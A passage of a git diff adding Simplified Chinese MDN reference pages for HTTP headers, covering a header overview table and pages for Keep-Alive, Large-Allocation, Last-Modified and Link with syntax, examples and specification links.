href="/en-US/docs/Web/HTTP/Headers/Content-Length" title="en/Content-Length">Content-Length</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Location" title="en/Content-Location">Content-Location</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-MD5" title="en/Content-MD5">Content-MD5</a></code></td> + <td></td> + <td>{{ unimplemented_inline("232030") }}</td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Range" title="en/Content-Range">Content-Range</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy" title="en/Content-Security-Policy">Content-Security-Policy</a></code></td> + <td>控制用户代理在一个页面上可以加载使用的资源。</td> + <td><a href="/en/Security/CSP">CSP (Content Security Policy)</a></td> + <td><a href="http://www.w3.org/TR/CSP2/">W3C Content Security Policy</a></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Type" title="en/Content-Type">Content-Type</a></code></td> + <td>指示服务器文档的MIME 类型。帮助用户代理(浏览器)去处理接收到的数据。</td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Cookie" title="en/Cookie">Cookie</a></code></td> + <td></td> + <td></td> + <td><a class="external" href="http://www.ietf.org/rfc/rfc2109.txt" title="http://www.ietf.org/rfc/rfc2109.txt">RFC 2109</a></td> + </tr> + <tr> + <td><code>DNT</code></td> + <td>设置该值为1, 表明用户明确退出任何形式的网上跟踪。</td> + <td>Supported by Firefox 4, Firefox 5 for mobile, IE9, and a few major companies.</td> + <td>{{SpecName("Tracking")}}</td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Date" title="en/Date">Date</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/ETag" title="en/ETag">ETag</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Expect" title="en/Expect">Expect</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Expires" title="en/Expires">Expires</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/From" title="en/From">From</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Host" title="en/Host">Host</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-Match" title="en/If-Match">If-Match</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-Modified-Since" title="en/If-Modified-Since">If-Modified-Since</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-None-Match" title="en/If-None-Match">If-None-Match</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-Range" title="en/If-Range">If-Range</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/If-Unmodified-Since" title="en/If-Unmodified-Since">If-Unmodified-Since</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Last-Event-ID" title="en/Last-Event-ID">Last-Event-ID</a></code></td> + <td>给出服务器在先前HTTP连接上接收的最后事件的ID。用于同步文本/事件流。</td> + <td><a href="/en-US/docs/Server-sent_events" title="en/Server-Sent Events">Server-Sent Events</a></td> + <td><a class="external" href="http://dev.w3.org/html5/eventsource/" title="http://dev.w3.org/html5/eventsource/">Server-Sent Events spec</a></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Last-Modified" title="en/Last-Modified">Last-Modified</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Link" title="en/HTTP/Headers/Link">Link</a></code></td> + <td> + <p>等同于HTML标签中的"link",但它是在HTTP层上,给出一个与获取的资源相关的URL以及关系的种类。</p> + </td> + <td> + <p>For the <code>rel=prefetch</code> case, see <a href="/en-US/docs/Link_prefetching_FAQ" title="en/Link prefetching FAQ">Link Prefetching FAQ</a></p> + </td> + <td> + <p>Introduced in <a class="external" href="http://tools.ietf.org/html/rfc2068#section-19.6.2.4" title="http://tools.ietf.org/html/rfc2068#section-19.6.2.4">HTTP 1.1's RFC 2068, section 19.6.2.4</a>, it was removed in the final <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616.html" title="http://www.w3.org/Protocols/rfc2616/rfc2616.html">HTTP 1.1 spec</a>, then reintroduced, with some extensions, in <a class="external" href="http://greenbytes.de/tech/webdav/rfc5988.html" title="http://greenbytes.de/tech/webdav/rfc5988.html">RFC 5988</a></p> + </td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Location" title="en/Location">Location</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Max-Forwards" title="en/Max-Forwards">Max-Forwards</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code>Negotiate</code></td> + <td></td> + <td><a href="/en-US/docs/Web/HTTP/Content_negotiation" title="en/HTTP/Content negotiation">HTTP Content Negotiation</a></td> + <td>RFC 2295, §8.4</td> + </tr> + <tr> + <td><code><a href="/en-US/docs/HTTP_access_control#Origin" title="https://developer.mozilla.org/En/HTTP_access_control#Origin">Origin</a></code></td> + <td></td> + <td><a href="/en-US/docs/HTTP_access_control" title="En/HTTP access control">HTTP Access Control</a> and <a href="/en-US/docs/Server-Side_Access_Control" title="En/Server-Side Access Control">Server Side Access Control</a>{{ gecko_minversion_inline("1.9.1") }}</td> + <td>More recently defined in the <a href="https://fetch.spec.whatwg.org/#http-extensions">Fetch spec</a> (see <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.) Originally defined in <a class="external" href="http://www.w3.org/TR/cors/" title="http://www.w3.org/TR/cors/">W3C Cross-Origin Resource Sharing</a></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Pragma" title="en/Pragma">Pragma</a></code></td> + <td></td> + <td>for the pragma: nocache value see <a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Proxy-Authenticate" title="en/Proxy-Authenticate">Proxy-Authenticate</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Proxy-Authorization" title="en/Proxy-Authorization">Proxy-Authorization</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Range" title="en/Range">Range</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Referer" title="en/Referer">Referer</a></code></td> + <td> + <p>(请注意,在HTTP / 0.9规范中引入的正交错误必须在协议的后续版本中保留)</p> + </td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Retry-After" title="en/Retry-After">Retry-After</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code>Sec-Websocket-Extensions</code></td> + <td></td> + <td></td> + <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td> + </tr> + <tr> + <td><code>Sec-Websocket-Key</code></td> + <td></td> + <td></td> + <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td> + </tr> + <tr> + <td><code>Sec-Websocket-Origin</code></td> + <td></td> + <td></td> + <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td> + </tr> + <tr> + <td><code>Sec-Websocket-Protocol</code></td> + <td></td> + <td></td> + <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td> + </tr> + <tr> + <td><code>Sec-Websocket-Version</code></td> + <td></td> + <td></td> + <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Server" title="en/Server">Server</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie" title="en/Set-Cookie">Set-Cookie</a></code></td> + <td></td> + <td></td> + <td><a class="external" href="http://www.ietf.org/rfc/rfc2109.txt" title="http://www.ietf.org/rfc/rfc2109.txt">RFC 2109</a></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie2" title="en/Set-Cookie2">Set-Cookie2</a></code></td> + <td></td> + <td></td> + <td><a class="external" href="http://www.ietf.org/rfc/rfc2965.txt" title="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a></td> + </tr> + <tr> + <td><code>Strict-Transport-Security</code></td> + <td></td> + <td><a href="/en-US/docs/Security/HTTP_Strict_Transport_Security" title="en/Security/HTTP Strict Transport Security">HTTP Strict Transport Security</a></td> + <td><a class="external" href="http://tools.ietf.org/html/draft-hodges-strict-transport-sec-02" title="http://tools.ietf.org/html/draft-hodges-strict-transport-sec-02">IETF reference</a></td> + </tr> + <tr> + <td><code>TCN</code></td> + <td></td> + <td><a href="/en-US/docs/Web/HTTP/Content_negotiation" title="en/HTTP/Content negotiation">HTTP Content Negotiation</a></td> + <td>RFC 2295, §8.5</td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/TE" title="en/TE">TE</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Trailer" title="en/Trailer">Trailer</a></code></td> + <td> + <p>列出将在消息正文之后在尾部块中传输的头。这允许服务器计算一些值,如Content-MD5:在传输数据时。请注意,Trailer:标头不得列出Content-Length :, Trailer:或Transfer-Encoding:headers。</p> + </td> + <td></td> + <td><a class="external" href="http://tools.ietf.org/html/rfc2616#section-14.40" title="http://tools.ietf.org/html/rfc2616#section-14.40">RFC 2616, §14.40</a></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Transfer-Encoding" title="en/Transfer-Encoding">Transfer-Encoding</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Upgrade" title="en/Upgrade">Upgrade</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_User-Agent.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_User-Agent.3a_header">User-Agent</a></code></td> + <td></td> + <td>for Gecko's user agents see the <a href="/en-US/docs/User_Agent_Strings_Reference" title="En/User Agent Strings Reference">User Agents Reference</a></td> + <td></td> + </tr> + <tr> + <td><code>Variant-Vary</code></td> + <td></td> + <td><a href="/en-US/docs/Web/HTTP/Content_negotiation" title="en/HTTP/Content negotiation">HTTP Content Negotiation</a></td> + <td>RFC 2295, §8.6</td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Vary.3a_response_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Vary.3a_response_header">Vary</a></code></td> + <td> + <p>列出了用作Web服务器选择特定内容的条件的标头。此服务器对于高效和正确缓存发送的资源很重要。</p> + </td> + <td><a href="/en-US/docs/Web/HTTP/Content_negotiation" title="https://developer.mozilla.org/en/Content_negotiation">HTTP Content Negotiation</a> & <a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Via" title="en/Via">Via</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/Warning" title="en/Warning">Warning</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code><a href="/en-US/docs/Web/HTTP/Headers/WWW-Authenticate" title="en/WWW-Authenticate">WWW-Authenticate</a></code></td> + <td></td> + <td></td> + <td></td> + </tr> + <tr> + <td><code>X-Content-Duration</code></td> + <td></td> + <td><a href="/en-US/docs/Configuring_servers_for_Ogg_media" title="https://developer.mozilla.org/en/Configuring_servers_for_Ogg_media">Configuring servers for Ogg media</a></td> + <td></td> + </tr> + <tr> + <td><code>X-Content-Security-Policy</code></td> + <td></td> + <td>Using <a href="/en-US/docs/Security/CSP/Using_Content_Security_Policy" title="en/Security/CSP/Using Content Security Policy">Content Security Policy</a></td> + <td></td> + </tr> + <tr> + <td><code>X-DNSPrefetch-Control</code></td> + <td></td> + <td><a href="/en-US/docs/Controlling_DNS_prefetching" title="En/Controlling DNS prefetching">Controlling DNS prefetching</a></td> + <td></td> + </tr> + <tr> + <td><code>X-Frame-Options</code></td> + <td></td> + <td><a href="/en-US/docs/The_X-FRAME-OPTIONS_response_header" title="en/The X-FRAME-OPTIONS response header">The XFrame-Option Response Header</a></td> + <td></td> + </tr> + <tr> + <td><code>X-Requested-With</code></td> + <td> + <p>通常在值为“XMLHttpRequest”时使用</p> + </td> + <td></td> + <td>Not standard</td> + </tr> + </tbody> +</table> + +<h2 id="注意">注意</h2> + +<div class="note"> +<p><strong>注意:</strong>{{Gecko ("5.0") }}不会发送带有Keep-Alive的请求头。以前的版本确实发送过,但格式并不正确,因此决定暂时删除它。{{ httpheader("Connection") }}或{{ httpheader("Proxy-Connection") }}报文首部仍然会发送,带着"keep-alive"的值。</p> +</div> + +<h2 id="更多">更多</h2> + +<p><a href="http://en.wikipedia.org/wiki/List_of_HTTP_header_fields">维基百科上对HTTP首部的展示</a></p> diff --git a/files/zh-cn/web/http/headers/index/index.html b/files/zh-cn/web/http/headers/index/index.html new file mode 100644 index 0000000000..e9b8ba9ad0 --- /dev/null +++ b/files/zh-cn/web/http/headers/index/index.html @@ -0,0 +1,8 @@ +--- +title: Index +slug: Web/HTTP/Headers/Index +translation_of: Web/HTTP/Headers/Index +--- +<div>{{HTTPSidebar}}</div> + +<p>{{Index("/en-US/docs/Web/HTTP/Headers")}}</p> diff --git a/files/zh-cn/web/http/headers/keep-alive/index.html b/files/zh-cn/web/http/headers/keep-alive/index.html new file mode 100644 index 0000000000..afd7bc4111 --- /dev/null +++ b/files/zh-cn/web/http/headers/keep-alive/index.html @@ -0,0 +1,95 @@ +--- +title: Keep-Alive +slug: Web/HTTP/Headers/Keep-Alive +tags: + - HTTP + - HTTP Headers +translation_of: Web/HTTP/Headers/Keep-Alive +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Keep-Alive</strong></code> 是一个通用消息头,允许消息发送者暗示连接的状态,还可以用来设置超时时长和最大请求数。</p> + +<div class="note"> +<p>需要将 The {{HTTPHeader("Connection")}} 首部的值设置为 "keep-alive" 这个首部才有意义。同时需要注意的是,在HTTP/2 协议中, {{HTTPHeader("Connection")}} 和 {{HTTPHeader("Keep-Alive")}} 是被忽略的;在其中采用其他机制来进行连接管理。</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("General header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Keep-Alive: <em>parameters</em></pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><em>parameters</em></dt> + <dd>一系列用逗号隔开的参数,每一个参数由一个标识符和一个值构成,并使用等号 (<code>'='</code>) 隔开。下述标识符是可用的: + <ul> + <li><code>timeout</code>:指定了一个空闲连接需要保持打开状态的最小时长(以秒为单位)。需要注意的是,如果没有在传输层设置 keep-alive TCP message 的话,大于 TCP 层面的超时设置会被忽略。</li> + <li><code>max</code>:在连接关闭之前,在此连接可以发送的请求的最大值。在非管道连接中,除了 0 以外,这个值是被忽略的,因为需要在紧跟着的响应中发送新一次的请求。HTTP 管道连接则可以用它来限制管道的使用。</li> + </ul> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<p><code><font face="Open Sans, arial, sans-serif">含有 </font>Keep-Alive</code> 首部的响应示例:</p> + +<pre>HTTP/1.1 200 OK +<strong>Connection: Keep-Alive</strong> +Content-Encoding: gzip +Content-Type: text/html; charset=utf-8 +Date: Thu, 11 Aug 2016 15:23:13 GMT +<strong>Keep-Alive: timeout=5, max=1000</strong> +Last-Modified: Mon, 25 Jul 2016 04:32:39 GMT +Server: Apache + +(body)</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html#rfc.section.2">HyperText Transport Protocol Keep-Alive Header</a></td> + <td>The Keep-Alive Header (Experimental specification)</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/rfc7230#appendix-A.1.2">RFC 7230, appendix A.1.2: Keep-Alive</a></td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + <tr> + <td>{{RFC("2068", "The Keep-Alive Header", "19.7.1.1")}}</td> + <td>Hypertext Transfer Protocol -- HTTP/1.1</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Keep-Alive")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Connection")}}</li> + <li><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Connection management in HTTP/1.x</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/large-allocation/index.html b/files/zh-cn/web/http/headers/large-allocation/index.html new file mode 100644 index 0000000000..5bfd1d4b79 --- /dev/null +++ b/files/zh-cn/web/http/headers/large-allocation/index.html @@ -0,0 +1,87 @@ +--- +title: Large-Allocation +slug: Web/HTTP/Headers/Large-Allocation +translation_of: Web/HTTP/Headers/Large-Allocation +--- +<div>{{HTTPSidebar}}</div> + +<p>非标准的<strong><code>Large-Allocation</code></strong> 响应头部是用来告诉浏览器加载该页面可能需要申请大内存. 当前只有Firefox实现该特性,但是对其他浏览器也无损害。</p> + +<p><a href="/en-US/docs/WebAssembly">WebAssembly</a> 或者 asm.js会使用比较大的连续内存空间。例如, 对于一些复杂的游戏, 其申请的空间将会非常大,甚至会达到1GB。<code>Large-Allocation</code> 告诉浏览器其将要加载的页面可能需要申请一个大的连续内存空间,浏览器依据该头部可能会单独启动一个专有的进程用于处理该页面。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Large-Allocation: 0 +Large-Allocation: <megabytes> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>0</code></dt> + <dd>0 是一个特殊的值,代表给它分配的大小是不确定的(动态允许).</dd> + <dt><code><megabytes></code></dt> + <dd>预期需要申请的内存大小,以M为单位</dd> + <dt></dt> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Large-Allocation: 0 +Large-Allocation: 500 +</pre> + +<h2 id="排除错误">排除错误</h2> + +<p>如果使用不当, <code>Large-Allocation</code> 会抛出警告或者错误信息,你可以在 <a href="/en-US/docs/Tools/Web_Console">web console</a> 查看它们。</p> + +<dl> + <dt>由于<code>Large-Allocation报头存在,这个页面会在一个新的进程处理和加载</code></dt> + <dd>This message means that the browser saw the <code>Large-Allocation</code> header, and was able to reload the page into a new process which should have more available contiguous memory.</dd> + <dt> <code>Large-Allocation</code> 报头由于非<code>non-GET请求而直接忽略</code></dt> + <dd>当一个 {{HTTPMethod("POST")}} 请求用语加载文档, that load cannot currently be redirected into a new process. This error is displayed when loading a document with a <code>Large-Allocation</code> header with a non-GET HTTP method. This could be caused due to the document being loaded by a form submission, for example.</dd> + <dt>A <code>Large-Allocation</code> header was ignored due to the presence of windows which have a reference to this browsing context through the frame hierarchy or {{domxref("window.opener")}}.</dt> + <dd> + <p>This error means that the document was not loaded at the top level of an user-opened or noopener-opened tab or window. It can occur in these situations:</p> + + <ul> + <li>The document with the <code>Large-Allocation</code> header was loaded in an {{HTMLElement("iframe")}}. Firefox cannot move an iframe into a new process currently, so the document must load in the current process.</li> + <li>The document with the <code>Large-Allocation</code> header was loaded in a window which was opened by {{domxref("window.open()")}}, <code><a target="_blank"></code> or other similar methods without <code>rel="noopener"</code> or the <code>"noopener"</code> feature being set. These windows must remain in the same process as their opener, as they can communicate, meaning that we cannot allow them to switch processes.</li> + <li>The document with the <code>Large-Allocation header</code> has opened another window with {{domxref("window.open()")}}, <code><a target="_blank"></code> or other similar methods without <code>rel="noopener"</code> or the <code>"noopener"</code> feature being set. This is for the same reason as above, namely that they can communicate and thus we cannot allow them to switch processes.</li> + </ul> + </dd> + <dt><code>Large-Allocation</code> 报头由于 文档在加载过程没有被加载而直接忽略</dt> + <dd>Firefox has moved to a <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox">multiprocess architecture</a>, and this architecture is required in order to support the <code>Large-Allocation</code> header. Some <a href="/en-US/docs/Mozilla/Add-ons/SDK">legacy Addons</a> can prevent Firefox from using this new, faster, multiprocess architecture. If you have one of these Addons installed, then we will continue to use the old single process architecuture for compatibility, and cannot handle the <code>Large-Allocation</code> header.</dd> + <dt>由于<code>Large-Allocation</code>头部,此页面应将被加载到新进程中, 但是在非Win32平台上禁用此选项。</dt> + <dd>由于在64位系统里内存碎片不是问题,Firefox只在32位系统支持<code>Large-Allocation</code>头部。如果你运行一个非32位的程序,这类信息就会出现。可以设置about:config里面的"dom.largeAllocation.forceEnable"布尔值来关闭此检查。</dd> + <dd></dd> +</dl> + +<h2 id="规范">规范</h2> + +<p>现还不属于任何规范,可以通过<a href="https://gist.github.com/mystor/5739e222e398efc6c29108be55eb6fe3">这篇文档</a>了解该头部的背后思想。</p> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Large-Allocation")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/WebAssembly">WebAssembly</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/last-modified/index.html b/files/zh-cn/web/http/headers/last-modified/index.html new file mode 100644 index 0000000000..e72ef0c34c --- /dev/null +++ b/files/zh-cn/web/http/headers/last-modified/index.html @@ -0,0 +1,89 @@ +--- +title: Last-Modified +slug: Web/HTTP/Headers/Last-Modified +tags: + - 请求首部 +translation_of: Web/HTTP/Headers/Last-Modified +--- +<div>{{HTTPSidebar}}</div> + +<p>The <strong><code>Last-Modified</code></strong> 是一个响应首部,其中包含源头服务器认定的资源做出修改的日期及时间。 它通常被用作一个验证器来判断接收到的或者存储的资源是否彼此一致。由于精确度比 {{HTTPHeader("ETag")}} 要低,所以这是一个备用机制。包含有 {{HTTPHeader("If-Modified-Since")}} 或 {{HTTPHeader("If-Unmodified-Since")}} 首部的条件请求会使用这个字段。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Last-Modified: <day-name>, <day> <month> <year> <hour>:<minute>:<second> GMT +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><day-name></dt> + <dd> "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" 或 "Sun" 之一 (区分大小写)。</dd> + <dt><day></dt> + <dd>两位数字表示的天数, 例如"04" or "23"。</dd> + <dt><month></dt> + <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 之一(区分大小写)。</dd> + <dt><year></dt> + <dd>4位数字表示的年份, 例如 "1990" 或者"2016"。</dd> + <dt><hour></dt> + <dd>两位数字表示的小时数, 例如 "09" 或者 "23"。</dd> + <dt><minute></dt> + <dd>两位数字表示的分钟数,例如"04" 或者 "59"。</dd> + <dt><second></dt> + <dd>两位数字表示的秒数,例如 "04" 或者 "59"。</dd> + <dt><code>GMT</code></dt> + <dd> + <p>国际标准时间。HTTP中的时间均用国际标准时间表示,从来不使用当地时间。</p> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7232", "Last-Modified", "2.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Last-Modified")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("If-Modified-Since")}}</li> + <li>{{HTTPHeader("If-Unmodified-Since")}}</li> + <li>{{HTTPHeader("Etag")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/link/index.html b/files/zh-cn/web/http/headers/link/index.html new file mode 100644 index 0000000000..f76e635f75 --- /dev/null +++ b/files/zh-cn/web/http/headers/link/index.html @@ -0,0 +1,65 @@ +--- +title: Link +slug: Web/HTTP/Headers/Link +translation_of: Web/HTTP/Headers/Link +--- +<p>{{HTTPSidebar}}{{Draft}}</p> + +<p>HTTP实体报头 <strong><code>Link</code></strong> 提供了序列化HTTP头部链接的方法。它在语义上与HTML元素 {{HTMLElement("link")}} 相等。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Link: < <var>uri-reference</var> >; <var>param1</var>=<var>value1</var>; <var>param2</var>="<var>value2</var>"</pre> + +<dl> + <dt><code><uri-reference></code></dt> + <dd>URI reference 必须要用 <code><</code> 和 <code>></code>来关闭。</dd> +</dl> + +<h3 id="参数">参数</h3> + +<p>link头部包含以 <code>;</code> 分隔的参数,这些参数与HTML元素 {{HTMLElement("link")}} 的属性一致。</p> + +<h2 id="示例">示例</h2> + +<p>URI 必须要用 <code><</code> 和 <code>> 来关闭:</code></p> + +<pre class="brush: http; no-line-numbers example-good">Link: <https://example.com>; rel="preload"</pre> + +<pre class="brush: http; no-line-numbers example-bad">Link: https://bad.example; rel="preload"</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comments</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC(8288, "Link Serialisation in HTTP Headers", 3)}}</td> + <td><span class="spec-RFC">IETF RFC</span></td> + <td></td> + </tr> + <tr> + <td>{{RFC(5988, "The Link Header Field", 5)}}</td> + <td><span class="spec-RFC">IETF RFC</span></td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("http.headers.Link")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPStatus(103, "103 Early Hints")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/location/index.html b/files/zh-cn/web/http/headers/location/index.html new file mode 